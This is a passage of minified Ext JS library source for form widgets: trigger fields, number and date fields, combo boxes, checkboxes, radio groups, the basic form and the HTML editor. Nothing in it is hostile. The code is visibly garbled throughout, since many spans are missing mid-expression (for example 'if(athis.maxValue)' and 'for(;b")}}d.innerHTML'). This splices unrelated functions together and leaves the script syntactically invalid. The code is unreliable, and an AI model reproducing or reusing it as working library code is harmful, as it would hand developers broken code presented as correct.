a},alignErrorIcon:function(){if(this.wrap){this.errorIcon.alignTo(this.wrap,"tl-tr",[2,0])}},onRender:function(b,a){this.doc=Ext.isIE?Ext.getBody():Ext.getDoc();Ext.form.TriggerField.superclass.onRender.call(this,b,a);this.wrap=this.el.wrap({cls:"x-form-field-wrap x-form-field-trigger-wrap"});this.trigger=this.wrap.createChild(this.triggerConfig||{tag:"img",src:Ext.BLANK_IMAGE_URL,alt:"",cls:"x-form-trigger "+this.triggerClass});this.initTrigger();if(!this.width){this.wrap.setWidth(this.el.getWidth()+this.trigger.getWidth())}this.resizeEl=this.positionEl=this.wrap},getWidth:function(){return(this.el.getWidth()+this.trigger.getWidth())},updateEditState:function(){if(this.rendered){if(this.readOnly){this.el.dom.readOnly=true;this.el.addClass("x-trigger-noedit");this.mun(this.el,"click",this.onTriggerClick,this);this.trigger.setDisplayed(false)}else{if(!this.editable){this.el.dom.readOnly=true;this.el.addClass("x-trigger-noedit");this.mon(this.el,"click",this.onTriggerClick,this)}else{this.el.dom.readOnly=false;this.el.removeClass("x-trigger-noedit");this.mun(this.el,"click",this.onTriggerClick,this)}this.trigger.setDisplayed(!this.hideTrigger)}this.onResize(this.width||this.wrap.getWidth())}},setHideTrigger:function(a){if(a!=this.hideTrigger){this.hideTrigger=a;this.updateEditState()}},setEditable:function(a){if(a!=this.editable){this.editable=a;this.updateEditState()}},setReadOnly:function(a){if(a!=this.readOnly){this.readOnly=a;this.updateEditState()}},afterRender:function(){Ext.form.TriggerField.superclass.afterRender.call(this);this.updateEditState()},initTrigger:function(){this.mon(this.trigger,"click",this.onTriggerClick,this,{preventDefault:true});this.trigger.addClassOnOver("x-form-trigger-over");this.trigger.addClassOnClick("x-form-trigger-click")},onDestroy:function(){Ext.destroy(this.trigger,this.wrap);if(this.mimicing){this.doc.un("mousedown",this.mimicBlur,this)}delete this.doc;Ext.form.TriggerField.superclass.onDestroy.call(this)},onFocus:function(){Ext.form.TriggerField.superclass.onFocus.call(this);if(!this.mimicing){this.wrap.addClass(this.wrapFocusClass);this.mimicing=true;this.doc.on("mousedown",this.mimicBlur,this,{delay:10});if(this.monitorTab){this.on("specialkey",this.checkTab,this)}}},checkTab:function(a,b){if(b.getKey()==b.TAB){this.triggerBlur()}},onBlur:Ext.emptyFn,mimicBlur:function(a){if(!this.isDestroyed&&!this.wrap.contains(a.target)&&this.validateBlur(a)){this.triggerBlur()}},triggerBlur:function(){this.mimicing=false;this.doc.un("mousedown",this.mimicBlur,this);if(this.monitorTab&&this.el){this.un("specialkey",this.checkTab,this)}Ext.form.TriggerField.superclass.onBlur.call(this);if(this.wrap){this.wrap.removeClass(this.wrapFocusClass)}},beforeBlur:Ext.emptyFn,validateBlur:function(a){return true},onTriggerClick:Ext.emptyFn});Ext.form.TwinTriggerField=Ext.extend(Ext.form.TriggerField,{initComponent:function(){Ext.form.TwinTriggerField.superclass.initComponent.call(this);this.triggerConfig={tag:"span",cls:"x-form-twin-triggers",cn:[{tag:"img",src:Ext.BLANK_IMAGE_URL,alt:"",cls:"x-form-trigger "+this.trigger1Class},{tag:"img",src:Ext.BLANK_IMAGE_URL,alt:"",cls:"x-form-trigger "+this.trigger2Class}]}},getTrigger:function(a){return this.triggers[a]},afterRender:function(){Ext.form.TwinTriggerField.superclass.afterRender.call(this);var c=this.triggers,b=0,a=c.length;for(;b")}}d.innerHTML=a;b=Math.min(this.growMax,Math.max(d.offsetHeight,this.growMin));if(b!=this.lastHeight){this.lastHeight=b;this.el.setHeight(b);this.fireEvent("autosize",this,b)}}});Ext.reg("textarea",Ext.form.TextArea);Ext.form.NumberField=Ext.extend(Ext.form.TextField,{fieldClass:"x-form-field x-form-num-field",allowDecimals:true,decimalSeparator:".",decimalPrecision:2,allowNegative:true,minValue:Number.NEGATIVE_INFINITY,maxValue:Number.MAX_VALUE,minText:"The minimum value for this field is {0}",maxText:"The maximum value for this field is {0}",nanText:"{0} is not a valid number",baseChars:"0123456789",autoStripChars:false,initEvents:function(){var a=this.baseChars+"";if(this.allowDecimals){a+=this.decimalSeparator}if(this.allowNegative){a+="-"}a=Ext.escapeRe(a);this.maskRe=new RegExp("["+a+"]");if(this.autoStripChars){this.stripCharsRe=new RegExp("[^"+a+"]","gi")}Ext.form.NumberField.superclass.initEvents.call(this)},getErrors:function(b){var c=Ext.form.NumberField.superclass.getErrors.apply(this,arguments);b=Ext.isDefined(b)?b:this.processValue(this.getRawValue());if(b.length<1){return c}b=String(b).replace(this.decimalSeparator,".");if(isNaN(b)){c.push(String.format(this.nanText,b))}var a=this.parseValue(b);if(athis.maxValue){c.push(String.format(this.maxText,this.maxValue))}return c},getValue:function(){return this.fixPrecision(this.parseValue(Ext.form.NumberField.superclass.getValue.call(this)))},setValue:function(a){a=this.fixPrecision(a);a=Ext.isNumber(a)?a:parseFloat(String(a).replace(this.decimalSeparator,"."));a=isNaN(a)?"":String(a).replace(".",this.decimalSeparator);return Ext.form.NumberField.superclass.setValue.call(this,a)},setMinValue:function(a){this.minValue=Ext.num(a,Number.NEGATIVE_INFINITY)},setMaxValue:function(a){this.maxValue=Ext.num(a,Number.MAX_VALUE)},parseValue:function(a){a=parseFloat(String(a).replace(this.decimalSeparator,"."));return isNaN(a)?"":a},fixPrecision:function(b){var a=isNaN(b);if(!this.allowDecimals||this.decimalPrecision==-1||a||!b){return a?"":b}return parseFloat(parseFloat(b).toFixed(this.decimalPrecision))},beforeBlur:function(){var a=this.parseValue(this.getRawValue());if(!Ext.isEmpty(a)){this.setValue(a)}}});Ext.reg("numberfield",Ext.form.NumberField);Ext.form.DateField=Ext.extend(Ext.form.TriggerField,{format:"m/d/Y",altFormats:"m/d/Y|n/j/Y|n/j/y|m/j/y|n/d/y|m/j/Y|n/d/Y|m-d-y|m-d-Y|m/d|m-d|md|mdy|mdY|d|Y-m-d|n-j|n/j",disabledDaysText:"Disabled",disabledDatesText:"Disabled",minText:"The date in this field must be equal to or after {0}",maxText:"The date in this field must be equal to or before {0}",invalidText:"{0} is not a valid date - it must be in the format {1}",triggerClass:"x-form-date-trigger",showToday:true,startDay:0,defaultAutoCreate:{tag:"input",type:"text",size:"10",autocomplete:"off"},initTime:"12",initTimeFormat:"H",safeParse:function(b,c){if(/[gGhH]/.test(c.replace(/(\\.)/g,""))){return Date.parseDate(b,c)}else{var a=Date.parseDate(b+" "+this.initTime,c+" "+this.initTimeFormat);if(a){return a.clearTime()}}},initComponent:function(){Ext.form.DateField.superclass.initComponent.call(this);this.addEvents("select");if(Ext.isString(this.minValue)){this.minValue=this.parseDate(this.minValue)}if(Ext.isString(this.maxValue)){this.maxValue=this.parseDate(this.maxValue)}this.disabledDatesRE=null;this.initDisabledDays()},initEvents:function(){Ext.form.DateField.superclass.initEvents.call(this);this.keyNav=new Ext.KeyNav(this.el,{down:function(a){this.onTriggerClick()},scope:this,forceKeyDown:true})},initDisabledDays:function(){if(this.disabledDates){var b=this.disabledDates,a=b.length-1,c="(?:";Ext.each(b,function(g,e){c+=Ext.isDate(g)?"^"+Ext.escapeRe(g.dateFormat(this.format))+"$":b[e];if(e!=a){c+="|"}},this);this.disabledDatesRE=new RegExp(c+")")}},setDisabledDates:function(a){this.disabledDates=a;this.initDisabledDays();if(this.menu){this.menu.picker.setDisabledDates(this.disabledDatesRE)}},setDisabledDays:function(a){this.disabledDays=a;if(this.menu){this.menu.picker.setDisabledDays(a)}},setMinValue:function(a){this.minValue=(Ext.isString(a)?this.parseDate(a):a);if(this.menu){this.menu.picker.setMinDate(this.minValue)}},setMaxValue:function(a){this.maxValue=(Ext.isString(a)?this.parseDate(a):a);if(this.menu){this.menu.picker.setMaxDate(this.maxValue)}},getErrors:function(e){var h=Ext.form.DateField.superclass.getErrors.apply(this,arguments);e=this.formatDate(e||this.processValue(this.getRawValue()));if(e.length<1){return h}var c=e;e=this.parseDate(e);if(!e){h.push(String.format(this.invalidText,c,this.format));return h}var g=e.getTime();if(this.minValue&&gthis.maxValue.clearTime().getTime()){h.push(String.format(this.maxText,this.formatDate(this.maxValue)))}if(this.disabledDays){var a=e.getDay();for(var b=0;b
    {'+this.displayField+"}
    "}this.view=new Ext.DataView({applyTo:this.innerList,tpl:this.tpl,singleSelect:true,selectedClass:this.selectedClass,itemSelector:this.itemSelector||"."+a+"-item",emptyText:this.listEmptyText,deferEmptyText:false});this.mon(this.view,{containerclick:this.onViewClick,click:this.onViewClick,scope:this});this.bindStore(this.store,true);if(this.resizable){this.resizer=new Ext.Resizable(this.list,{pinned:true,handles:"se"});this.mon(this.resizer,"resize",function(g,d,e){this.maxHeight=e-this.handleHeight-this.list.getFrameWidth("tb")-this.assetHeight;this.listWidth=d;this.innerList.setWidth(d-this.list.getFrameWidth("lr"));this.restrictHeight()},this);this[this.pageSize?"footer":"innerList"].setStyle("margin-bottom",this.handleHeight+"px")}}},getListParent:function(){return document.body},getStore:function(){return this.store},bindStore:function(a,b){if(this.store&&!b){if(this.store!==a&&this.store.autoDestroy){this.store.destroy()}else{this.store.un("beforeload",this.onBeforeLoad,this);this.store.un("load",this.onLoad,this);this.store.un("exception",this.collapse,this)}if(!a){this.store=null;if(this.view){this.view.bindStore(null)}if(this.pageTb){this.pageTb.bindStore(null)}}}if(a){if(!b){this.lastQuery=null;if(this.pageTb){this.pageTb.bindStore(a)}}this.store=Ext.StoreMgr.lookup(a);this.store.on({scope:this,beforeload:this.onBeforeLoad,load:this.onLoad,exception:this.collapse});if(this.view){this.view.bindStore(a)}}},reset:function(){if(this.clearFilterOnReset&&this.mode=="local"){this.store.clearFilter()}Ext.form.ComboBox.superclass.reset.call(this)},initEvents:function(){Ext.form.ComboBox.superclass.initEvents.call(this);this.keyNav=new Ext.KeyNav(this.el,{up:function(a){this.inKeyMode=true;this.selectPrev()},down:function(a){if(!this.isExpanded()){this.onTriggerClick()}else{this.inKeyMode=true;this.selectNext()}},enter:function(a){this.onViewClick()},esc:function(a){this.collapse()},tab:function(a){if(this.forceSelection===true){this.collapse()}else{this.onViewClick(false)}return true},scope:this,doRelay:function(c,b,a){if(a=="down"||this.scope.isExpanded()){var d=Ext.KeyNav.prototype.doRelay.apply(this,arguments);if(!Ext.isIE&&Ext.EventManager.useKeydown){this.scope.fireKey(c)}return d}return true},forceKeyDown:true,defaultEventAction:"stopEvent"});this.queryDelay=Math.max(this.queryDelay||10,this.mode=="local"?10:250);this.dqTask=new Ext.util.DelayedTask(this.initQuery,this);if(this.typeAhead){this.taTask=new Ext.util.DelayedTask(this.onTypeAhead,this)}if(!this.enableKeyEvents){this.mon(this.el,"keyup",this.onKeyUp,this)}},onDestroy:function(){if(this.dqTask){this.dqTask.cancel();this.dqTask=null}this.bindStore(null);Ext.destroy(this.resizer,this.view,this.pageTb,this.list);Ext.destroyMembers(this,"hiddenField");Ext.form.ComboBox.superclass.onDestroy.call(this)},fireKey:function(a){if(!this.isExpanded()){Ext.form.ComboBox.superclass.fireKey.call(this,a)}},onResize:function(a,b){Ext.form.ComboBox.superclass.onResize.apply(this,arguments);if(!isNaN(a)&&this.isVisible()&&this.list){this.doResize(a)}else{this.bufferSize=a}},doResize:function(a){if(!Ext.isDefined(this.listWidth)){var b=Math.max(a,this.minListWidth);this.list.setWidth(b);this.innerList.setWidth(b-this.list.getFrameWidth("lr"))}},onEnable:function(){Ext.form.ComboBox.superclass.onEnable.apply(this,arguments);if(this.hiddenField){this.hiddenField.disabled=false}},onDisable:function(){Ext.form.ComboBox.superclass.onDisable.apply(this,arguments);if(this.hiddenField){this.hiddenField.disabled=true}},onBeforeLoad:function(){if(!this.hasFocus){return}this.innerList.update(this.loadingText?'
    '+this.loadingText+"
    ":"");this.restrictHeight();this.selectedIndex=-1},onLoad:function(){if(!this.hasFocus){return}if(this.store.getCount()>0||this.listEmptyText){this.expand();this.restrictHeight();if(this.lastQuery==this.allQuery){if(this.editable){this.el.dom.select()}if(this.autoSelect!==false&&!this.selectByValue(this.value,true)){this.select(0,true)}}else{if(this.autoSelect!==false){this.selectNext()}if(this.typeAhead&&this.lastKey!=Ext.EventObject.BACKSPACE&&this.lastKey!=Ext.EventObject.DELETE){this.taTask.delay(this.typeAheadDelay)}}}else{this.collapse()}},onTypeAhead:function(){if(this.store.getCount()>0){var b=this.store.getAt(0);var c=b.data[this.displayField];var a=c.length;var d=this.getRawValue().length;if(d!=a){this.setRawValue(c);this.selectText(d,c.length)}}},assertValue:function(){var b=this.getRawValue(),a;if(this.valueField&&Ext.isDefined(this.value)){a=this.findRecord(this.valueField,this.value)}if(!a||a.get(this.displayField)!=b){a=this.findRecord(this.displayField,b)}if(!a&&this.forceSelection){if(b.length>0&&b!=this.emptyText){this.el.dom.value=Ext.value(this.lastSelectionText,"");this.applyEmptyText()}else{this.clearValue()}}else{if(a&&this.valueField){if(this.value==b){return}b=a.get(this.valueField||this.displayField)}this.setValue(b)}},onSelect:function(a,b){if(this.fireEvent("beforeselect",this,a,b)!==false){this.setValue(a.data[this.valueField||this.displayField]);this.collapse();this.fireEvent("select",this,a,b)}},getName:function(){var a=this.hiddenField;return a&&a.name?a.name:this.hiddenName||Ext.form.ComboBox.superclass.getName.call(this)},getValue:function(){if(this.valueField){return Ext.isDefined(this.value)?this.value:""}else{return Ext.form.ComboBox.superclass.getValue.call(this)}},clearValue:function(){if(this.hiddenField){this.hiddenField.value=""}this.setRawValue("");this.lastSelectionText="";this.applyEmptyText();this.value=""},setValue:function(a){var c=a;if(this.valueField){var b=this.findRecord(this.valueField,a);if(b){c=b.data[this.displayField]}else{if(Ext.isDefined(this.valueNotFoundText)){c=this.valueNotFoundText}}}this.lastSelectionText=c;if(this.hiddenField){this.hiddenField.value=Ext.value(a,"")}Ext.form.ComboBox.superclass.setValue.call(this,c);this.value=a;return this},findRecord:function(c,b){var a;if(this.store.getCount()>0){this.store.each(function(d){if(d.data[c]==b){a=d;return false}})}return a},onViewMove:function(b,a){this.inKeyMode=false},onViewOver:function(d,b){if(this.inKeyMode){return}var c=this.view.findItemFromChild(b);if(c){var a=this.view.indexOf(c);this.select(a,false)}},onViewClick:function(b){var a=this.view.getSelectedIndexes()[0],c=this.store,d=c.getAt(a);if(d){this.onSelect(d,a)}else{this.collapse()}if(b!==false){this.el.focus()}},restrictHeight:function(){this.innerList.dom.style.height="";var b=this.innerList.dom,e=this.list.getFrameWidth("tb")+(this.resizable?this.handleHeight:0)+this.assetHeight,c=Math.max(b.clientHeight,b.offsetHeight,b.scrollHeight),a=this.getPosition()[1]-Ext.getBody().getScroll().top,g=Ext.lib.Dom.getViewHeight()-a-this.getSize().height,d=Math.max(a,g,this.minHeight||0)-this.list.shadowOffset-e-5;c=Math.min(c,d,this.maxHeight);this.innerList.setHeight(c);this.list.beginUpdate();this.list.setHeight(c+e);this.list.alignTo.apply(this.list,[this.el].concat(this.listAlign));this.list.endUpdate()},isExpanded:function(){return this.list&&this.list.isVisible()},selectByValue:function(a,c){if(!Ext.isEmpty(a,true)){var b=this.findRecord(this.valueField||this.displayField,a);if(b){this.select(this.store.indexOf(b),c);return true}}return false},select:function(a,c){this.selectedIndex=a;this.view.select(a);if(c!==false){var b=this.view.getNode(a);if(b){this.innerList.scrollChildIntoView(b,false)}}},selectNext:function(){var a=this.store.getCount();if(a>0){if(this.selectedIndex==-1){this.select(0)}else{if(this.selectedIndex0){if(this.selectedIndex==-1){this.select(0)}else{if(this.selectedIndex!==0){this.select(this.selectedIndex-1)}}}},onKeyUp:function(b){var a=b.getKey();if(this.editable!==false&&this.readOnly!==true&&(a==b.BACKSPACE||!b.isSpecialKey())){this.lastKey=a;this.dqTask.delay(this.queryDelay)}Ext.form.ComboBox.superclass.onKeyUp.call(this,b)},validateBlur:function(){return !this.list||!this.list.isVisible()},initQuery:function(){this.doQuery(this.getRawValue())},beforeBlur:function(){this.assertValue()},postBlur:function(){Ext.form.ComboBox.superclass.postBlur.call(this);this.collapse();this.inKeyMode=false},doQuery:function(c,b){c=Ext.isEmpty(c)?"":c;var a={query:c,forceAll:b,combo:this,cancel:false};if(this.fireEvent("beforequery",a)===false||a.cancel){return false}c=a.query;b=a.forceAll;if(b===true||(c.length>=this.minChars)){if(this.lastQuery!==c){this.lastQuery=c;if(this.mode=="local"){this.selectedIndex=-1;if(b){this.store.clearFilter()}else{this.store.filter(this.displayField,c)}this.onLoad()}else{this.store.baseParams[this.queryParam]=c;this.store.load({params:this.getParams(c)});this.expand()}}else{this.selectedIndex=-1;this.onLoad()}}},getParams:function(a){var b={},c=this.store.paramNames;if(this.pageSize){b[c.start]=0;b[c.limit]=this.pageSize}return b},collapse:function(){if(!this.isExpanded()){return}this.list.hide();Ext.getDoc().un("mousewheel",this.collapseIf,this);Ext.getDoc().un("mousedown",this.collapseIf,this);this.fireEvent("collapse",this)},collapseIf:function(a){if(!this.isDestroyed&&!a.within(this.wrap)&&!a.within(this.list)){this.collapse()}},expand:function(){if(this.isExpanded()||!this.hasFocus){return}if(this.title||this.pageSize){this.assetHeight=0;if(this.title){this.assetHeight+=this.header.getHeight()}if(this.pageSize){this.assetHeight+=this.footer.getHeight()}}if(this.bufferSize){this.doResize(this.bufferSize);delete this.bufferSize}this.list.alignTo.apply(this.list,[this.el].concat(this.listAlign));this.list.setZIndex(this.getZIndex());this.list.show();if(Ext.isGecko2){this.innerList.setOverflow("auto")}this.mon(Ext.getDoc(),{scope:this,mousewheel:this.collapseIf,mousedown:this.collapseIf});this.fireEvent("expand",this)},onTriggerClick:function(){if(this.readOnly||this.disabled){return}if(this.isExpanded()){this.collapse();this.el.focus()}else{this.onFocus({});if(this.triggerAction=="all"){this.doQuery(this.allQuery,true)}else{this.doQuery(this.getRawValue())}this.el.focus()}}});Ext.reg("combo",Ext.form.ComboBox);Ext.form.Checkbox=Ext.extend(Ext.form.Field,{focusClass:undefined,fieldClass:"x-form-field",checked:false,boxLabel:" ",defaultAutoCreate:{tag:"input",type:"checkbox",autocomplete:"off"},actionMode:"wrap",initComponent:function(){Ext.form.Checkbox.superclass.initComponent.call(this);this.addEvents("check")},onResize:function(){Ext.form.Checkbox.superclass.onResize.apply(this,arguments);if(!this.boxLabel&&!this.fieldLabel){this.el.alignTo(this.wrap,"c-c")}},initEvents:function(){Ext.form.Checkbox.superclass.initEvents.call(this);this.mon(this.el,{scope:this,click:this.onClick,change:this.onClick})},markInvalid:Ext.emptyFn,clearInvalid:Ext.emptyFn,onRender:function(b,a){Ext.form.Checkbox.superclass.onRender.call(this,b,a);if(this.inputValue!==undefined){this.el.dom.value=this.inputValue}this.wrap=this.el.wrap({cls:"x-form-check-wrap"});if(this.boxLabel){this.wrap.createChild({tag:"label",htmlFor:this.el.id,cls:"x-form-cb-label",html:this.boxLabel})}if(this.checked){this.setValue(true)}else{this.checked=this.el.dom.checked}if(Ext.isIE&&!Ext.isStrict){this.wrap.repaint()}this.resizeEl=this.positionEl=this.wrap},onDestroy:function(){Ext.destroy(this.wrap);Ext.form.Checkbox.superclass.onDestroy.call(this)},initValue:function(){this.originalValue=this.getValue()},getValue:function(){if(this.rendered){return this.el.dom.checked}return this.checked},onClick:function(){if(this.el.dom.checked!=this.checked){this.setValue(this.el.dom.checked)}},setValue:function(a){var c=this.checked,b=this.inputValue;this.checked=(a===true||a==="true"||a=="1"||(b?a==b:String(a).toLowerCase()=="on"));if(this.rendered){this.el.dom.checked=this.checked;this.el.dom.defaultChecked=this.checked}if(c!=this.checked){this.fireEvent("check",this,this.checked);if(this.handler){this.handler.call(this.scope||this,this,this.checked)}}return this}});Ext.reg("checkbox",Ext.form.Checkbox);Ext.form.CheckboxGroup=Ext.extend(Ext.form.Field,{columns:"auto",vertical:false,allowBlank:true,blankText:"You must select at least one item in this group",defaultType:"checkbox",groupCls:"x-form-check-group",initComponent:function(){this.addEvents("change");this.on("change",this.validate,this);Ext.form.CheckboxGroup.superclass.initComponent.call(this)},onRender:function(k,g){if(!this.el){var q={autoEl:{id:this.id},cls:this.groupCls,layout:"column",renderTo:k,bufferResize:false};var a={xtype:"container",defaultType:this.defaultType,layout:"form",defaults:{hideLabel:true,anchor:"100%"}};if(this.items[0].items){Ext.apply(q,{layoutConfig:{columns:this.items.length},defaults:this.defaults,items:this.items});for(var e=0,n=this.items.length;e0&&e%s==0){p++}if(this.items[e].fieldLabel){this.items[e].hideLabel=false}o[p].items.push(this.items[e])}}else{for(var e=0,n=this.items.length;e-1){b.setValue(true)}})},getBox:function(b){var a=null;this.eachItem(function(c){if(b==c||c.dataIndex==b||c.id==b||c.getName()==b){a=c;return false}});return a},getValue:function(){var a=[];this.eachItem(function(b){if(b.checked){a.push(b)}});return a},eachItem:function(b,a){if(this.items&&this.items.each){this.items.each(b,a||this)}},getRawValue:Ext.emptyFn,setRawValue:Ext.emptyFn});Ext.reg("checkboxgroup",Ext.form.CheckboxGroup);Ext.form.CompositeField=Ext.extend(Ext.form.Field,{defaultMargins:"0 5 0 0",skipLastItemMargin:true,isComposite:true,combineErrors:true,labelConnector:", ",initComponent:function(){var g=[],b=this.items,e;for(var d=0,c=b.length;d")},sortErrors:function(){var a=this.items;this.fieldErrors.sort("ASC",function(g,d){var c=function(b){return function(i){return i.getName()==b}};var h=a.findIndexBy(c(g.field)),e=a.findIndexBy(c(d.field));return h1){var a=this.getBox(c);if(a){a.setValue(b);if(a.checked){this.eachItem(function(d){if(d!==a){d.setValue(false)}})}}}else{this.setValueForItem(c)}},setValueForItem:function(a){a=String(a).split(",")[0];this.eachItem(function(b){b.setValue(a==b.inputValue)})},fireChecked:function(){if(!this.checkTask){this.checkTask=new Ext.util.DelayedTask(this.bufferChecked,this)}this.checkTask.delay(10)},bufferChecked:function(){var a=null;this.eachItem(function(b){if(b.checked){a=b;return false}});this.fireEvent("change",this,a)},onDestroy:function(){if(this.checkTask){this.checkTask.cancel();this.checkTask=null}Ext.form.RadioGroup.superclass.onDestroy.call(this)}});Ext.reg("radiogroup",Ext.form.RadioGroup);Ext.form.Hidden=Ext.extend(Ext.form.Field,{inputType:"hidden",shouldLayout:false,onRender:function(){Ext.form.Hidden.superclass.onRender.apply(this,arguments)},initEvents:function(){this.originalValue=this.getValue()},setSize:Ext.emptyFn,setWidth:Ext.emptyFn,setHeight:Ext.emptyFn,setPosition:Ext.emptyFn,setPagePosition:Ext.emptyFn,markInvalid:Ext.emptyFn,clearInvalid:Ext.emptyFn});Ext.reg("hidden",Ext.form.Hidden);Ext.form.BasicForm=Ext.extend(Ext.util.Observable,{constructor:function(b,a){Ext.apply(this,a);if(Ext.isString(this.paramOrder)){this.paramOrder=this.paramOrder.split(/[\s,|]/)}this.items=new Ext.util.MixedCollection(false,function(c){return c.getItemId()});this.addEvents("beforeaction","actionfailed","actioncomplete");if(b){this.initEl(b)}Ext.form.BasicForm.superclass.constructor.call(this)},timeout:30,paramOrder:undefined,paramsAsHash:false,waitTitle:"Please Wait...",activeAction:null,trackResetOnLoad:false,initEl:function(a){this.el=Ext.get(a);this.id=this.el.id||Ext.id();if(!this.standardSubmit){this.el.on("submit",this.onSubmit,this)}this.el.addClass("x-form")},getEl:function(){return this.el},onSubmit:function(a){a.stopEvent()},destroy:function(a){if(a!==true){this.items.each(function(b){Ext.destroy(b)});Ext.destroy(this.el)}this.items.clear();this.purgeListeners()},isValid:function(){var a=true;this.items.each(function(b){if(!b.validate()){a=false}});return a},isDirty:function(){var a=false;this.items.each(function(b){if(b.isDirty()){a=true;return false}});return a},doAction:function(b,a){if(Ext.isString(b)){b=new Ext.form.Action.ACTION_TYPES[b](this,a)}if(this.fireEvent("beforeaction",this,b)!==false){this.beforeAction(b);b.run.defer(100,b)}return this},submit:function(b){b=b||{};if(this.standardSubmit){var a=b.clientValidation===false||this.isValid();if(a){var c=this.el.dom;if(this.url&&Ext.isEmpty(c.action)){c.action=this.url}c.submit()}return a}var d=String.format("{0}submit",this.api?"direct":"");this.doAction(d,b);return this},load:function(a){var b=String.format("{0}load",this.api?"direct":"");this.doAction(b,a);return this},updateRecord:function(b){b.beginEdit();var a=b.fields,d,c;a.each(function(e){d=this.findField(e.name);if(d){c=d.getValue();if(typeof c!=undefined&&c.getGroupValue){c=c.getGroupValue()}else{if(d.eachItem){c=[];d.eachItem(function(g){c.push(g.getValue())})}}b.set(e.name,c)}},this);b.endEdit();return this},loadRecord:function(a){this.setValues(a.data);return this},beforeAction:function(a){this.items.each(function(c){if(c.isFormField&&c.syncValue){c.syncValue()}});var b=a.options;if(b.waitMsg){if(this.waitMsgTarget===true){this.el.mask(b.waitMsg,"x-mask-loading")}else{if(this.waitMsgTarget){this.waitMsgTarget=Ext.get(this.waitMsgTarget);this.waitMsgTarget.mask(b.waitMsg,"x-mask-loading")}else{Ext.MessageBox.wait(b.waitMsg,b.waitTitle||this.waitTitle)}}}},afterAction:function(a,c){this.activeAction=null;var b=a.options;if(b.waitMsg){if(this.waitMsgTarget===true){this.el.unmask()}else{if(this.waitMsgTarget){this.waitMsgTarget.unmask()}else{Ext.MessageBox.updateProgress(1);Ext.MessageBox.hide()}}}if(c){if(b.reset){this.reset()}Ext.callback(b.success,b.scope,[this,a]);this.fireEvent("actioncomplete",this,a)}else{Ext.callback(b.failure,b.scope,[this,a]);this.fireEvent("actionfailed",this,a)}},findField:function(c){var b=this.items.get(c);if(!Ext.isObject(b)){var a=function(d){if(d.isFormField){if(d.dataIndex==c||d.id==c||d.getName()==c){b=d;return false}else{if(d.isComposite){return d.items.each(a)}else{if(d instanceof Ext.form.CheckboxGroup&&d.rendered){return d.eachItem(a)}}}}};this.items.each(a)}return b||null},markInvalid:function(h){if(Ext.isArray(h)){for(var c=0,a=h.length;c':">"),c,"")}return d.join("")},createToolbar:function(e){var c=[];var a=Ext.QuickTips&&Ext.QuickTips.isEnabled();function d(k,h,i){return{itemId:k,cls:"x-btn-icon",iconCls:"x-edit-"+k,enableToggle:h!==false,scope:e,handler:i||e.relayBtnCmd,clickEvent:"mousedown",tooltip:a?e.buttonTips[k]||undefined:undefined,overflowText:e.buttonTips[k].title||undefined,tabIndex:-1}}if(this.enableFont&&!Ext.isSafari2){var g=new Ext.Toolbar.Item({autoEl:{tag:"select",cls:"x-font-select",html:this.createFontOptions()}});c.push(g,"-")}if(this.enableFormat){c.push(d("bold"),d("italic"),d("underline"))}if(this.enableFontSize){c.push("-",d("increasefontsize",false,this.adjustFont),d("decreasefontsize",false,this.adjustFont))}if(this.enableColors){c.push("-",{itemId:"forecolor",cls:"x-btn-icon",iconCls:"x-edit-forecolor",clickEvent:"mousedown",tooltip:a?e.buttonTips.forecolor||undefined:undefined,tabIndex:-1,menu:new Ext.menu.ColorMenu({allowReselect:true,focus:Ext.emptyFn,value:"000000",plain:true,listeners:{scope:this,select:function(i,h){this.execCmd("forecolor",Ext.isWebKit||Ext.isIE?"#"+h:h);this.deferFocus()}},clickEvent:"mousedown"})},{itemId:"backcolor",cls:"x-btn-icon",iconCls:"x-edit-backcolor",clickEvent:"mousedown",tooltip:a?e.buttonTips.backcolor||undefined:undefined,tabIndex:-1,menu:new Ext.menu.ColorMenu({focus:Ext.emptyFn,value:"FFFFFF",plain:true,allowReselect:true,listeners:{scope:this,select:function(i,h){if(Ext.isGecko){this.execCmd("useCSS",false);this.execCmd("hilitecolor",h);this.execCmd("useCSS",true);this.deferFocus()}else{this.execCmd(Ext.isOpera?"hilitecolor":"backcolor",Ext.isWebKit||Ext.isIE?"#"+h:h);this.deferFocus()}}},clickEvent:"mousedown"})})}if(this.enableAlignments){c.push("-",d("justifyleft"),d("justifycenter"),d("justifyright"))}if(!Ext.isSafari2){if(this.enableLinks){c.push("-",d("createlink",false,this.createLink))}if(this.enableLists){c.push("-",d("insertorderedlist"),d("insertunorderedlist"))}if(this.enableSourceEdit){c.push("-",d("sourceedit",true,function(h){this.toggleSourceEdit(!this.sourceEditMode)}))}}var b=new Ext.Toolbar({renderTo:this.wrap.dom.firstChild,items:c});if(g){this.fontSelect=g.el;this.mon(this.fontSelect,"change",function(){var h=this.fontSelect.dom.value;this.relayCmd("fontname",h);this.deferFocus()},this)}this.mon(b.el,"click",function(h){h.preventDefault()});this.tb=b;this.tb.doLayout()},onDisable:function(){this.wrap.mask();Ext.form.HtmlEditor.superclass.onDisable.call(this)},onEnable:function(){this.wrap.unmask();Ext.form.HtmlEditor.superclass.onEnable.call(this)},setReadOnly:function(b){Ext.form.HtmlEditor.superclass.setReadOnly.call(this,b);if(this.initialized){if(Ext.isIE){this.getEditorBody().contentEditable=!b}else{this.setDesignMode(!b)}var a=this.getEditorBody();if(a){a.style.cursor=this.readOnly?"default":"text"}this.disableItems(b)}},getDocMarkup:function(){var a=Ext.fly(this.iframe).getHeight()-this.iframePad*2;return String.format('',this.iframePad,a)},getEditorBody:function(){var a=this.getDoc();return a.body||a.documentElement},getDoc:function(){return Ext.isIE?this.getWin().document:(this.iframe.contentDocument||this.getWin().document)},getWin:function(){return Ext.isIE?this.iframe.contentWindow:window.frames[this.iframe.name]},onRender:function(b,a){Ext.form.HtmlEditor.superclass.onRender.call(this,b,a);this.el.dom.style.border="0 none";this.el.dom.setAttribute("tabIndex",-1);this.el.addClass("x-hidden");if(Ext.isIE){this.el.applyStyles("margin-top:-1px;margin-bottom:-1px;")}this.wrap=this.el.wrap({cls:"x-html-editor-wrap",cn:{cls:"x-html-editor-tb"}});this.createToolbar(this);this.disableItems(true);this.tb.doLayout();this.createIFrame();if(!this.width){var c=this.el.getSize();this.setSize(c.width,this.height||c.height)}this.resizeEl=this.positionEl=this.wrap},createIFrame:function(){var 